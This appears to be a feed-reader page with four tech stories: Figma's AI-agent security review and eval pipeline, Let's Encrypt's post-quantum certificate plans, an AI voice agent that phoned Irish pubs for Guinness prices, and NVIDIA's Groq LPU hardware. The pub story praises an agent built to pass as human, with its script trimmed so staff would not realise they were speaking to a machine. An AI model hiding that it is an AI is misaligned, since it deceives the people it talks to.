123 stories
·
0 followers

How Figma Stays Ahead of Vulnerabilities With Agents | Figma Blog

1 Share

Precision is the share of reported findings that are real vulnerabilities. High precision implies low false positives.

Recall is the share of real vulnerabilities the system catches. High recall implies low false negatives.

Pointing coding agents at the codebase and asking them to find vulnerabilities is simple. Getting the precision and recall an organization needs is still hard engineering: How many findings are legitimate, and how many actual bugs does the system catch?

This post walks through how we approach precision, recall, and trust when it comes to running agentic security for Figma’s codebase. We use agents to prevent, detect, and fix vulnerabilities at three stages: code generation, pull request review, and auditing of historical code.

We’ll share learnings across these stages, spending most of our time on PR review—the first thing we built, which unlocked secure code generation and auditing by helping us develop and automatically improve the policy all of our security agents follow.

Generation, review, and auditing all apply the same shared policy that contains trust boundaries, accepted risks, and precedents.

We built review first because its improvement loop is faster than those for generation or auditing. Three properties make that loop work:

  1. It's universal: Every pull request goes through it.
  2. It's self-serve: The reviewer comments on the PR and the author responds to the finding directly.
  3. It's instrumented in both directions: Precision and recall each get their own signal.

The precision signal is the author's rating: On the few PRs that surface a finding, the author gives it a thumbs up or thumbs down, usually with a note on why. To measure recall, we run the reviewer against commits we already know were buggy and count what it misses.

We currently run both Claude Code with Opus 4.8 at the xhigh (extra-high) effort setting and Codex with GPT-5.6 Sol at high effort, because they miss different bugs. If either model surfaces a finding, we bubble it up.

Cost isn’t a constraint for per-PR review. For both the models we use, a pull request review runs about $0.50 median spend, rarely more, since most PRs have nothing to flag. This approach pays for itself many times over in avoided bounty payouts, not to mention avoided impact to our users.

Some of the vulnerabilities our reviewer catches involve complex multi-step chains. On one recent PR, it reasoned that an injected sandbox object leaked the host realm's Function constructor, opening a path to code execution in the desktop client.

Most of what it catches is more ordinary, and still worth fixing. For example, on another recent PR, the reviewer flagged an endpoint that returned an invoice by a caller-supplied ID without checking if the invoice belonged to the caller's org—meaning that any authenticated user could read another organization's invoices just by knowing the ID. Here’s a very simplified version of the finding:

In August 2025, Anthropic released the Claude Code Security Reviewer; we rolled it out the day it shipped, but in shadow mode, so findings went to Slack and Datadog, not to PR comments. It was a fairly standard two-pass reviewer that started by finding possible vulnerabilities and then adversarially filtered false positives. We found that when we replayed it against real incidents, it surfaced the exact root cause with minimal tuning, and generalized well across everything from application security to infrastructure misconfiguration.

However, in week one, only about 15% of findings (4 of 27) were valid. That is the trust problem behind OpenAI's argument that precision matters more than recall: Developers stop trusting any tool that floods them with low-quality findings. Precision had to come first, which is not the order you might guess. You would expect the bugs we had already found to be our biggest head start, but replayed as evals, they only measure recall, so they did nothing for the precision we needed first.

Our 70% precision goal was more intuitive than scientific. Most of the team would read a comment if seven of ten were valid.

We held back developer-facing PR comments until precision stayed above 70% over a two-week lookback, with no embarrassingly bad false positives. To clear that bar, we replayed the reviewer over the previous eight weeks of PRs and hand-labeled the false positives ourselves as a security team. From there, we wrote the policy that the agent should follow.

A precedent is an example that explains why a finding is or is not valid in context. In this system, we prefer precedents over broad rules because they preserve the security reasoning an agent needs.

Following prompting best practices, the policy consists of precedents instead of rules. For example, rather than “don’t flag SQL injection in dbops”, we write something like “dbops is only run by highly privileged operators who already have direct database access.”

Ninety-nine lines, 2,560 words, and 68 precedents later, this work had a side effect we did not plan for: We had written a complete threat model, in roughly the form we'd want a new hire to read on day one. The policy is the threat model. Agents need security context in an explicit, structured format and at an unusually high resolution. Over Figma's first decade, that context accumulated across documentation, incident learnings, and deep institutional knowledge. It had not yet been consolidated at the resolution an agent needs. That artifact is the real payoff. Secure code generation and repo-wide auditing run on the same threat model, so we never had to build it twice.

This work had a side effect we did not plan for: We had written a complete threat model, in roughly the form we'd want a new hire to read on day one.
This work had a side effect we did not plan for: We had written a complete threat model, in roughly the form we'd want a new hire to read on day one.
Rohan Sharma, Security Engineer, Figma

Within a month of launch, iterating on the policy pushed precision to 80% on a two-week lookback, clearing our 70% bar comfortably. At that point we turned on developer-facing comments. The precision rate continued to improve overall, which let us institute a requirement that no pull request merges without a completed review pass.

Then came the unglamorous part. Making review a merge requirement turned it from a nice-to-have into infrastructure, and infrastructure has to be boring to be trusted. We added provider failover and retry policies, so an outage at one model vendor can't let a PR slip through unreviewed. We added telemetry to Datadog and Slack, because we needed to know the moment precision or recall slipped. We also added fix-rate tracking, because our ultimate objective is to fix vulnerabilities, not to make sure they merely get surfaced.

By December 2025, we'd outgrown Anthropic's GitHub Action and rebuilt around it in three ways:

Ablation is the process of removing lines from a prompt to understand the impact of each line.

  • Moved the reviewer into a TypeScript service. Our fork of the Action was fine for a prototype, but it quickly became a giant GitHub workflow that wasn’t easy to maintain. We pulled it into a small TypeScript service, which made the reviewer easier to observe and iterate on. This also lets us run Claude Code and Codex independently and retry on failure.
  • Removed (AKA “ablated”) most of the prompt. Agents and models have gotten much better at context management and long-context retrieval. We concluded the reviewer didn’t need a separate adversarial pass at all and folded the filtering into a single prompt. Newer frontier models also don’t need to be taught how to find a vulnerability or be reminded about the OWASP Top 10.
  • Added an adjudicator. The reviewer kept missing real bugs, and from analyzing eval data we kept seeing the same pattern: Chasing precision, the agent talked itself out of true findings with "pre-existing pattern," "low confidence," or "preparatory plumbing." The first pass already emits the candidates it dropped as structured output, so we added a second pass that re-examines those borderline dismissals. In our evals with known-bad commits, adjudication raised pass-rate recall by a relative ~30%.

We're not chasing pass^k confidence intervals or building holdout sets. We need assurance that the controls work and telemetry that shows when performance slips.

We were confident the reviewer was precise, and backtesting hinted it had good recall too. The next step was to solidify how we measured and improved recall, precision, and fix rate.

Measuring recall with evals

We measure recall through a general-purpose eval framework. Since this measures known security flaws, not what’s still emerging or unknown, we treat it as a floor for the agent to clear rather than proof of coverage.

The framework uses a growing corpus of 66 tasks, each a real vulnerability that got past human review and into the codebase, surfaced only later by a bounty, an incident, or an audit. Forty-six of the 66 are tagged from our HackerOne bug bounty program (24 of those from a single top researcher) and the remaining 20 are from internal incidents and audits.

Each task is represented by a small YAML file that contains the root-cause commit, a description of the vulnerability, a score that weights it, and some tags (detection source, incident channel, or researcher).

YAML

# evals/pr-review/doc-export-idor.yaml
name: "doc-export-idor"
tags: ["authz", "bug-bounty"]
score: 10000

commit: "<root-cause-commit-sha>"

description: >
 A document export endpoint trusts a document id from the request and returns
 the file without checking whether the caller may access it. Any authenticated user
 can export another user's private document.

The framework checks out each commit into its own isolated Git worktree for clean-room analysis, runs the reviewer, and grades what it finds. The task grader is a simple LLM-as-judge that focuses on the description, checking if the reviewer’s finding captures the same issue (even if it’s described differently).

We run two types of scoring:

  • Pass-rate scoring tells us what percentage of tasks passed, providing a coverage baseline across known bugs.
  • Payout-weighted scoring is normalized to what each bug paid out in our bounty program, with an estimated payout for the ones the program didn’t catch. This tells us how we’re doing on the bugs that matter most, which tend to cluster in a few high-value classes.

Keep in mind that every task in the corpus is a bug that our historical review process, human reviewers plus static analysis (SAST), already missed. So a 75.8% union catch rate is 75.8% of the bugs that got all the way past our existing controls. Here’s how those metrics look with the latest frontier models:

Every policy change is reviewed by a security engineer and rerun against the full corpus before it ships. That catches regressions on the bugs we already know about; it tells us nothing about the ones we haven’t found yet.

What the policy is worth

To see what the engineering is worth versus the raw model, we ran the same Claude Code reviewer with our entire Figma policy ablated to nothing: just "find vulnerabilities," the model, and tools. It still cleared 44.4% of the corpus on payout weight.

While a frontier model finds plenty of vulnerabilities with no help at all, our policy is still a significant advantage. With our policy back in, the same single reviewer climbs from 44.4% to 64.2%. Precision is the larger gap: With no exclusions to lean on, the empty prompt flags every suspicious pattern. We can’t put a number on that from this run, because the corpus is all true positives and only measures recall, but anyone who has turned a coding agent loose on their own repo has seen exactly this.

Measuring precision with human feedback

The precision signal can't come from the eval corpus, which is all true positives; it shows up only on live PRs. We hand-labeled once to bootstrap, but we can't keep re-running that. Real findings are rare, so a standing offline precision number would mean running the reviewer over far more PRs than we could hand-check just to gather enough findings to judge, then redoing that sweep after every policy change, since anything we do to raise recall can move precision too. So we measure precision in production.

The reviewer already runs on every PR, and the author knows their own change better than a security engineer seeing it for the first time, so the first call on each finding goes to them, though it isn’t final. A separate agent periodically re-reads the current code behind recent findings, and any disputed or unaddressed case whose flagged pattern is still present goes to security on-call to decide. Because findings are rare, PR authors encounter them only occasionally.

On Opus 4.7, we held a sustained stretch of zero disputed findings from late April through late May 2026. Precision took a small dip when we moved to Opus 4.8, which we think is an acceptable tradeoff for recall improvements via chasing deeper, multi-step exploit chains.

Measuring fix rates

None of this matters if the bugs never get fixed, so we track pre-merge fix rates, with a second agent tagging each finding as fixed, disputed, acknowledged, not addressed, or still pending. Improving this metric requires some social engineering, because a real, well-written finding still competes with everything else on a developer’s plate. We considered hard-blocking merges on an open finding, but ultimately decided not to because the following lightweight changes improved our fix rate significantly without us paying that heavy friction tax.

First, we changed the comment footer from a meek “Questions? Ask #security. False positive? Click 👎 and close. Apologies for the noise.” to a (literally) bolder “🎯 We tune these for high signal via evals and human feedback. Please address this finding. Click 👎 on false positives to help us keep it high signal. Questions? #security.

Second, we restricted the output format to a one-sentence finding, numbered exploit steps, a short recommendation, and relevant code links. That kills the wall-of-text habit Opus 4.5+ models fall into.

How we improve the agent

When any user-controlled text reaches an agent, there’s a risk of prompt injection. Therefore, we enforce strong trust boundaries for our evals and self-improvement loops:

1. A validation agent with minimal, read-only privileges does the initial assessment and screens for injection.

2. Any fix-writing agent runs in an isolated sandbox with egress controls.

3. CI for agent-generated PRs does not have access to deploy credentials and production secrets.

4. Nothing merges without human review, SAST, and agentic review passes.

We have two types of self-improvement loops for the agent, one for recall and one for precision. Both strengthen our policy so that we avoid repeating the same mistakes in the future.

Recall: Fixing blind spots in the system

Let’s say one of our bug bounty researchers on HackerOne finds a vulnerability in Figma and reports it. Here’s the loop:

  1. A cloud agent picks up the report and triages it.
  2. The agent filters out the low-quality reports (roughly 75% of submissions), and recognizes this one as different: a rare exploit chain. Note that the monorepo makes validation tractable for the agent, because all of our application logic lives there. We believe reading code is more than sufficient for validating an externally reported vulnerability—exploit generation is unnecessary.
  3. The agent writes a fix and opens a PR. Security on-call reviews the patch and merges it.
  4. The agent traces the vulnerability back to the commit that introduced it, and adds that commit to our eval corpus.
  5. A second agent runs our existing PR reviewer agent against that root-cause commit.
  6. If the reviewer doesn’t catch the bug, the second agent reads the reviewer’s own chat transcripts, works out why it missed (Was the file even read? Read but not flagged? Flagged but excluded?), updates the policy until the reviewer catches the bug, and opens a PR with the change.
  7. Security on-call reviews the policy change and adjusts if needed.

The fix closes this one bug. Updating the policy matters more, because it makes the reviewer catch every future bug of this type during PR review. That is how we improve recall automatically.

We use humans at several stages in this loop, because we still want human judgment on what we merge, especially if an external researcher reported the bug. Furthermore, automated policy refinement can still overfit (“Goodhart”) to the one bug in front of it, or produce a verbose amendment no human wants to read.

An escaped bug leads to an updated threat model, so that the next similar bug is caught during PR review.

If a PR author dismisses a comment as a false positive—either by a thumbs-down reaction, a comment indicating why, or both—we run a simplified version of the previous loop:

  1. An agent skill runs and updates the policy so that this class of false positives never shows up again. It takes into account developer feedback and looks through chat transcripts to see why the model made the error.
  2. Security on-call reviews the policy change and adjusts if needed.
  3. We run the reviewer against the baseline eval corpus with the updated policy.

Secure code auditing

Auditing runs on the exact same policy we built for PR review. The threat model we were forced to write down to make review precise, and which is continually improved via the feedback loops described above, is what makes auditing possible at all. The main difference here is that we point the agent and policy at the whole monorepo, instead of a single PR.

This is important not only for historical code (our monorepo is 10+ years old), but also in the steady/future state. Models are stochastic and might not surface everything in a single review pass. Plus, our threat model is constantly evolving, and each new model generation can catch vulnerabilities the last one couldn’t.

Auditing is a harder task than review, both for agents and humans. Tell an engineer to find a bug in a PR, and they'll do a good job. Give an engineer a ten-year-old codebase and tell them to find all the bugs, and they won't know where to start. That holds true for agents as well.

We made the task tractable by brute-forcing the problem with many agents. We picked a cost budget and, knowing roughly what one agent costs to scan one slice, turned it into an agent shard count, then scanned. We mostly shard by file or by application routes. Two more adjustments helped: ablating low-severity bug classes so the budget goes where it matters, and bringing back a lightweight adversarial review pass to refute findings.

On our first run, we found more than a hundred latent vulnerabilities, including two criticals missed by traditional SAST tools, which we patched immediately. We added both to our eval corpus, where they are now its two highest-scored tasks.

More recently, we’ve tried dynamic workflows for repo-wide audits with promising early results, but with unpredictable token usage. We might swap our repo-wide audit multi-harness for dynamic workflow-like systems as they mature. With these systems we can simply prompt “find vulnerabilities” with a pointer to the threat model, and they parallelize scans and run adversarial and adjudication passes if necessary.

Secure code generation

An agent hook is a script that runs automatically at a defined point in an agent's loop: before or after a tool call, after a user prompt, at session start, etc. These are like git hooks, but instead of firing on git operations they fire on the agent's actions, letting you inspect, block, or modify what the agent does.

To help agents generate secure code, we use hooks. We've found they steer agents more reliably than the same guidance placed in AGENTS.md. For some bug classes like logging safety (writing data to the wrong logs), the drop after we added a guidance hook was about 50%. We maintain a vendored, agent-agnostic version of Anthropic’s security guidance plugin. It has two sets of agent hooks:

Adapted recreation (not a live terminal capture). The just-in-time PreToolUse hook intercepts a Claude Code Write, detects the new API route rule, and blocks the edit until the agent reads the required API route and authorization guidance. Note that the above guidance is for the agent, not the human operator.

Hooks also have a property that PR review doesn’t: They don’t carry a high precision bar, because they’re mostly invisible to the human author. That lets us use them to nudge toward good practices, not just away from vulnerabilities. When an agent adds a new API route, a hook can steer it to attach the proper secure-by-default authorization decorator and tests, in addition to merely surfacing authorization bugs.

What we learned

We can't tell you exactly what to do: The specifics depend on your company size, the risks you face, and the feedback loops you already run. But one main lesson is to improve precision before recall. The order is counterintuitive, because the historical bugs you already have can only measure recall; they barely help with the precision you must fix first.

Another key lesson is that precision and recall come from different places, which is the part we had to work out ourselves. Recall comes from replaying the reviewer against bugs you already found and counting the misses. Precision has no fixed target to replay and shifts with every policy change, so there is no standing offline eval to run. Judging enough of the rare live findings would mean combing through mostly benign PRs at a scale no team could keep up with. In production the reviewer runs on every PR anyway, so the author, who wrote the change, makes the first call, with another agent re-reading the current code behind each finding and sending any disputed or unaddressed case whose flagged pattern is still present to internal security experts.

A few more things we’ve learned:

  • Put a triage agent, with source access, on every incoming bug bounty report. A newer kind of bug bounty researcher chains low-severity vulnerabilities into high-impact exploits. Triage fast, build trust, and treat these researchers as some of your most valuable security assets. We can’t rely on the reviewer to catch a novel bug class outside the threat model. Those still fall to internal security experts and external sources such as the bug bounty program. Manual triage is too slow to sustain the whole feedback loop, whereas an agent enables fast triage that builds trust with researchers, feeds better evals, and eventually drives better recall.
  • Make agents review for good practice, not just for bugs. Have agents check that code uses the right secure-by-default frameworks and has real test coverage. Skip this and the codebase drifts toward something neither a human nor a model can reason about. Across all three stages discussed, we run separate agents to guard against anti-patterns and quality issues well beyond bug finding, more than we can cover here.

Learn more about life at Figma, and browse our open roles.

With the right systems in place, our security engineers moved from triaging one bug at a time to writing the policy that catches hundreds of bugs and prevents hundreds more. It’s a lot like the job we’ve always had, just with more leverage.

Read the whole story
bernhardbock
11 hours ago
reply
Share this story
Delete

A Post-Quantum Future for Let's Encrypt

1 Share

Let’s Encrypt is committed to a post-quantum-safe Web PKI. The path we’re planning to take is Merkle Tree Certificates (“MTCs”), a new approach that adds post-quantum authentication to the web without sacrificing the speed and reliability that have made TLS universal.

This post is about these plans and why we believe MTCs are worth pursuing as a key to a post-quantum future.

An increasingly urgent problem

For much of the last several years, the conversation about post-quantum cryptography has been a conversation about encryption. The reasoning was straightforward: an attacker who records encrypted traffic today might be able to decrypt it years from now once quantum computers can break the underlying math. Authentication, the part of TLS that indicates a server is who it says it is, has been a less urgent problem. A quantum computer needs to forge a signature in real time, not retroactively, so threats to authentication hinge on the existence of a cryptographically relevant quantum computer (CRQC).

That comfort has been eroding for a while. In the United States, the NSA’s CNSA 2.0 suite has directed national security systems toward post-quantum algorithms on a 2030-to-2035 schedule since 2022, and NIST’s draft transition guidance would deprecate RSA-2048 and P-256 after 2030 and disallow them after 2035. The European Union’s roadmap targets high-risk systems by the end of 2030 and broad migration by 2035. These mandates don’t bind the public Web PKI directly, but they set the end-of-decade timeline that the vendors, libraries, and standards bodies it relies on are already working toward.

This year, the timeline shortened further. Google announced that it would migrate its services by 2029, citing tightening estimates for the potential arrival of a CRQC. Cloudflare followed with a parallel commitment. In addition, Go 1.27 adds ML-DSA, a NIST-standardized post-quantum signature scheme, to the standard library, a sign that post-quantum signatures are becoming practical infrastructure.

Post-quantum authentication is no longer a problem the Web PKI ecosystem should defer. Long-lived keys (root certificate authorities, code-signing keys, identity systems) are particularly valuable targets, and new technology takes years to gain broad adoption, so the work has to start early.

The Web PKI’s unique circumstances

The Web PKI is one of the trickiest places to deploy post-quantum signatures. The reason is size.

ML-DSA-44, one of the smaller NIST standardized post-quantum signature schemes, has a signature roughly 2,420 bytes long. The algorithms used in the Web PKI today are much smaller. RSA-2048 signatures are 256 bytes and ECDSA-P256 signatures are 64 bytes. Public keys are bigger as well: 1,312 bytes for ML-DSA-44, 256 bytes for RSA-2048, and 64 bytes for ECDSA-P256. A typical Web PKI handshake today carries five signatures and two public keys. Replacing those with ML-DSA equivalents would push a single TLS handshake well past 10 kilobytes. Cloudflare’s research has shown that, at that scale, a meaningful share of TLS connections fail on real-world networks, and the rest get slower.

Authentication data in a single TLS handshake, by algorithm

Larger handshakes would affect every TLS connection, not just those that would fail. They would mean constrained bandwidth, slower connections, and a worse experience for users, all in exchange for security against a threat that hasn’t materialized yet. That’s a steep cost to enable by default, and defaults are what actually move security at web scale.

Merkle Tree Certificates

A different design called Merkle Tree Certificates (“MTCs”) has been emerging over the past year, and we believe it is a strong path forward for the post-quantum Web PKI.

Instead of issuing certificates one at a time and signing each one individually, an MTC certificate authority issues certificates in batches, with a single signature covering the entire batch. Browsers stay up to date on those batch signatures (called “landmarks”) separately from the TLS handshake.

In the common case, the entire authentication path in an MTC handshake is one signature, one public key, and one inclusion proof. That’s smaller than today’s Web PKI handshake, even though MTCs use post-quantum algorithms. The other case is the “standalone” form. It uses slightly larger handshakes as a fallback when a client’s landmark is out of date.

Post-quantum authentication overhead: conventional versus Merkle Tree Certificate

There is more to MTCs than size optimization. Because every certificate is part of a published Merkle tree, transparency becomes a property of issuance itself. Today’s Certificate Transparency ecosystem is bolted on after the fact: certificates are issued by CAs, then logged separately, with extra signatures riding along in the TLS handshake to attest to that logging. With MTCs, a certificate cannot exist outside the Merkle tree. Certificate Transparency is built in.

This is not entirely new ground for us. Let’s Encrypt has operated Certificate Transparency logs since 2019. Those logs are append-only Merkle trees, the same core data structure MTCs are built on, and ones we have run in production, at scale, for years.

Cloudflare and Chrome are already running a feasibility experiment with MTCs against real internet traffic. The IETF’s PLANTS working group is working on standardizing the design. Chrome has announced that MTCs are its preferred path for adding post-quantum certificates to the public web.

Our plans

We are planning to support Merkle Tree Certificates as the path forward for the post-quantum Web PKI. We are targeting late 2026 for a staging environment that issues MTCs, and 2027 for a production-ready environment.

This is not a small endeavor. Issuing MTCs at the scale of Let’s Encrypt requires meaningful changes throughout our stack: in our issuance infrastructure, in the ACME protocol our subscribers use to obtain certificates, in revocation and operational tooling, and in the transparency-log infrastructure that MTCs subsume. We have been participating in the IETF PLANTS and ACME working groups as the standards take shape.

Alongside the MTC work, we are tracking the standards for ML-DSA signatures in X.509 (RFC 9881) and TLS (draft-ietf-tls-mldsa), and the ecosystem work this depends on, like the addition of ML-DSA to the Go standard library. The Web PKI’s transition to post-quantum security needs all of this to land in browsers, libraries, and ACME clients, whether the certificates ultimately delivered are MTCs or ML-DSA signed X.509.

What this means if you use Let’s Encrypt

Nothing changes today. Your current Let’s Encrypt certificates will continue to be issued and renewed exactly as they always have been. When post-quantum certificates become available from Let’s Encrypt, they will arrive the way our service always has: free, automated, and available to anyone with an ACME client.

The transition will take time. There are standards still being finalized, root programs still defining their requirements, and engineering work that has to land in the broader ecosystem (browsers, libraries, ACME clients) before any of this matters at scale. We will keep the community informed as the work progresses and as the timelines firm up.

If you maintain an ACME client or run an ACME-driven certificate pipeline, this is a good moment to start tracking the work in the PLANTS working group and the discussions on the mtcs@chromium.org mailing list. Some of the changes coming will require client-side support, and the ecosystem will benefit from clients that are ready when the issuance side is.

A note on the wider post-quantum transition

For the broader internet community: post-quantum encryption is the more urgent problem, because any TLS connection without post-quantum key exchange is potentially harvestable for later decryption. If you operate servers, please ensure they support hybrid post-quantum key exchange (X25519MLKEM768). Major browsers and operating systems already do, and turning it on at the server is one of the highest-leverage things you can do this year.

In closing

We have been building infrastructure for the public web since 2013 on the principle that security should be available to everyone, automatically, at no cost. The quantum transition is a generational change in how that security works under the hood.

We will have more to say as the work progresses. Until then, our thanks to the cryptographers, browser engineers, IETF working groups, and CAs whose work has gotten us this far.

Read the whole story
bernhardbock
14 days ago
reply
Share this story
Delete

When AI Called Every Pub in Ireland (And Nobody Noticed)

1 Share

I have to admit, when I first heard about this, I could not stop laughing.

Over St. Patrick’s Day weekend 2026, an AI agent named Rachel made more than 3,000 phone calls to pubs across Ireland. She had one simple question: How much is a pint of Guinness? Only a handful of people realized they were talking to a machine.

This is the kind of story that makes you stop and think about where we are with AI. Not in an abstract way, but in a very real, very Irish way. What Matt Cortland built is not just a clever tech demo. It solves a real problem for people who want to know whether they are overpaying at their local.

The Data Gap Nobody Was Filling

Ireland’s Central Statistics Office stopped tracking pint prices 14 years ago. Just stopped. For more than a decade, there has been no reliable way to know what a pint of Guinness costs across the country.

That gap is striking. We track sleep, steps, and spending in detail, yet one of Ireland’s most culturally important benchmarks disappeared from public data. Prices became opaque, varying widely by pub and county, with no transparency.

Cortland, an American AI engineer based in London and a former pub owner, saw the opportunity. He understands both sides, pricing behind the bar and paying at it. So he built the Guinndex, and he did it in a bold, unconventional way.

Building Rachel

The execution is what makes the project work. Cortland did not just build a voice bot. He focused on making Rachel sound real. He refined the accent, tone, and personality. He chose a Northern Irish accent inspired by Rachel Duffy from The Traitors. The goal was simple: sound natural, warm, and believable.

The script evolved through trial and error. Early versions included confirming prices, which gave people time to question the interaction. The final version was stripped down. Ask the question. Say thanks. Hang up.

Even then, cultural nuance mattered. Cortland noted that training Rachel to handle Irish banter was difficult. That detail alone shows how much human context still shapes successful AI.

The Conversations

The calls themselves were revealing and often entertaining.

At Malzard’s Pub in Kilkenny, the bartender offered to buy the drink if the caller could not afford one. At Doogies in Northern Ireland, the quoted price dropped dramatically once the caller mentioned coming in. At Buddy’s Bar in Tipperary, the response to the inquiry was blunt and dismissive.

One of the most telling moments came when Rachel reached an automated system at a Premier Inn. Two AI systems interacted without resolution. No answer, no progress, just repetition. It was a clear example of both the capability and the limitation of automation.

What This Reveals

This project highlights where AI is effective today. It is not replacing bartenders. It cannot pour a pint, read a room, or manage people. The physical and social aspects of the job remain human. But AI excels at gathering and organizing information. That is where it creates value. The Guinndex fills a gap that no institution was addressing.

The timing is notable. Research shows that many service roles have little exposure to automation, while technical roles face far greater risk. The people building AI may be more affected by it than those working in pubs.

The Numbers

Rachel’s calls produced clear results. The national average price of a pint of Guinness is €5.95. The most common price is €5.50.

Dublin is the most expensive county at €6.75. The cheapest pints are found in the west and midlands, with Laois averaging €5.38. That is a difference of €1.37 across regions. At the extremes, prices ranged from €3.00 in Galway, though that figure may be unreliable, to €10 in Dublin, which appears accurate.

Since official tracking ended in 2011, the average price has risen from €3.93 to €5.95. That is a 48 percent increase.

The Guinndex fills that 14-year gap.

A Familiar Pattern

This project echoes the early days of blogging. Blogging gave individuals the ability to publish and share information without gatekeepers. The Guinndex does something similar. It makes pricing transparent and accessible.

The platform is now evolving into a crowdsourced system. Users can submit prices, corrections, and photos. Pub owners can update their listings. The dataset becomes more accurate as more people contribute.

Cortland’s goal is ambitious. He wants to see whether transparency can influence pricing. At a minimum, it helps people make better choices about where to spend their money.

The Bigger Picture

This is more than a novelty. Cortland has shown that AI voice agents can collect real-world data at scale, quickly, and at low cost. The entire project cost about €200 plus development time.

This is not about replacing human interaction. It is about solving practical problems. In this case, it gives people clear information before they walk into a pub.

That matters. One pub owner summed it up well after learning he had spoken to an AI. He had no idea at the time, but he saw the value immediately. People want to know what they are paying before they walk in.

What Comes Next

The Guinndex is now live, with an interactive map, regional breakdowns, and searchable listings.

Whether it will influence prices remains uncertain. But it has already introduced transparency where none existed. Transparency tends to change behavior. At the very least, it helps people find better value. At most, it could reshape how pubs think about pricing.

And it proves something simple. AI can now pass as a friendly voice on the phone. Most people will not notice.

That alone is worth paying attention to.

Sláinte.

Read the whole story
bernhardbock
136 days ago
reply
Share this story
Delete

Decoding the Future of Inference At NVIDIA: Groq LPUs Join Vera Rubin Platform For Low-Latency Inference

1 Share

Patrick In NVIDIA Groq 3 LPU At NVIDIA GTC 2026 LargePatrick In NVIDIA Groq 3 LPU At NVIDIA GTC 2026 Large

Among a plethora of announcements coming out of NVIDIA this week for their 2026 GTC AI conference, arguably the highest profile announcement was about a hardware technology that is not quite NVIDIA’s own: the Groq Language Processor Unit, or LPU. On Christmas Eve of 2025, in a deal reportedly worth $20 billion NVIDIA made a major future architectural shift. Per that deal, NVIDIA hired a significant number of the company’s senior staff, acquired its physical assets, and also acquired a non-exclusive license to Groq’s chief technology, its LPU.

It was a deal that raised significant questions about just what NVIDIA was hoping to do, why they were spending so much money on a struggling competitor, and why they seemed to be in such a hurry to acquire a company when half the world has already kicked off its holiday break. The answers to those questions, CEO Jensen Huang told investors and the public during the company’s Q4’FY2026 earnings call, would come during GTC. And with day one of the show having wrapped up, headlined by Huang’s critical visionary keynote, we finally have those answers.

NVIDIA GTC 2026 Keynote Vera Rubin NVL72NVIDIA GTC 2026 Keynote Vera Rubin NVL72

In short, NVIDIA has acquired Groq’s technology in order to boost its own inference performance for its high-end, rack-scale systems. With Groq’s inference-focused LPUs having been designed for low-latency AI inference, NVIDIA will be using Groq’s hardware as an accelerator for Vera Rubin NVL72 racks, in the form of the NVIDIA Groq 3 LPX rack, delivering higher (and quicker) token throughput rates than NVIDIA’s GPUs can provide alone. The ultimate goal for NVIDIA is that the inclusion of Groq LPUs not only boosts the overall performance of Vera Rubin racks but also offers a substantial boost in the kind of low-latency performance that agentic AIs need to quickly react to one another, and to which AI customers are willing to spend a premium.

A Classic Case of High Throughput Versus Low Latency

While NVIDIA’s acquisition of Groq’s assets was relatively sudden, the problem at hand has been one that NVIDIA has been wrangling with for some time now. The company’s GPUs, the backbone of their AI efforts, are fundamentally high-throughput processors. With their massive arrays of ALUs, GPUs specialize in efficiently processing massive amounts of data. In order to maximize the total amount of data they process, the trade-off they make is that they are not very quick about it in regard to latency. As a result, fully utilizing a GPU, be it for classical compute or AI workloads, involves using a number of tricks to hide latency and context switch between threads so that the GPU always has something to work on while its memory and cache subsystems are fetching the next block of instructions and data for another group of threads.

All this hyper-optimization for throughput means GPUs are poorly suited to low-latency operation. The qualities that make a processor good at low-latency computing, such as a large number of registers, copious caches, and execution units to provide beefy instruction-level parallelism, make for poor GPUs. The hardware needed to provide efficient, low-latency compute would eat into die space that could instead go towards more ALUs for higher GPU throughput.

NVIDIA GPU LatencyNVIDIA GPU Latency vs. Throughput

This, in a nutshell, is the classic CPU/GPU trade-off. NVIDIA’s compute empire is, by and large, built on (correctly) predicting that most workloads benefit from high throughput more than they benefit from low latency. This is why many classic computing workloads are becoming GPU-accelerated these days. In the AI space, it is even more evident that CPU-only AI inference is hardly a consideration in most cases.

This kind of throughput/latency tradeoff extends into AI inference as well. Even if you have already decided to use a GPU, it is possible to tune its performance and the software running on it to favor throughput or latency, a performance curve exists between the two, where system operators can slide between them. This has been the crux of NVIDIA’s performance argument up through the Grace Blackwell generation. NVIDIA’s GPUs can produce a large number of tokens when optimized for throughput, fewer when optimized for low latency. Customers can focus on finding the optimal (Pareto) region along that curve to reduce latency while still achieving relatively high total throughput.

NVIDIA Blackwell Token CurveNVIDIA Blackwell Token Curve

It is an argument that was not on entirely solid footing in 2025, and is on even rockier footing in 2026. The optimal operating points for a GPU do not offer latencies low enough for the kind of rapid-fire single-user token rates that NVIDIA believes are needed for agentic AI. Latency becomes a key differentiator as humans are removed from high-value workflows.

Accelerating the Accelerator: Groq Language Processor Units

While NVIDIA has been dealing with how to achieve lower latencies from high-latency GPUs, some of its competitors have been tackling the problem from the other direction, designing inference accelerators that are low-latency from the start. Chief among these has been Cerebras and Groq. Groq’s chief technology was the Tensor Streaming Processor, later rebranded as the Language Processor Unit (LPU).

NVIDIA Groq 3 LPU In Hand Pads LargeNVIDIA Groq 3 LPU In Hand Pads Large

While not by any means a CPU, Groq’s LPU employs numerous design decisions that favor low-latency execution of tensors and other AI math over high throughput. The end result of those design decisions is that Groq’s LPU technology is wildly different from NVIDIA’s GPU. For NVIDIA, this is a fantastic thing.

NVIDIA Rubin_GPU_and_Groq_3_LPUNVIDIA Rubin_GPU_and_Groq_3_LPU

While we will not go into the nitty-gritty of Groq’s LPU architecture at this time, there are a few key design elements that allow it to offer such low latencies. Key among these is SRAM: Groq’s chips feature a ridiculous amount of on-chip SRAM for their size and performance levels. The LP30 chips NVIDIA will use have 500 MB of SRAM. This is all on-die, so there is a massive 150 TB/second of memory bandwidth between these SRAM blocks and the compute elements on the LP30. As a result, it allows the compute elements to access any local data they need extremely quickly, even faster than what we think of as fast for NVIDIA’s HBM-equipped GPUs.

NVIDIA Groq 3 ArchitectureNVIDIA Groq 3 Architecture

The other interesting aspect of Groq’s architecture is that it is deterministic. Instead of scheduling in hardware, as is common in CPUs and GPUs, instruction scheduling is handled entirely by the compiler ahead of time. Thus, the code emitted by the compiler knows exactly what the LPU will be doing at any given time. This kind of static instruction scheduling is not new to Groq’s hardware. In fact, it is a common sight amongst VLIW designs, but it is one of the big factors in the hardware’s low latency because there’s no need to guess (or stall for) when a piece of data will be available or when an instruction will complete; everything is executing along a very carefully orchestrated series of events.

NVIDIA’s Groq LPUs: Decode Specialists

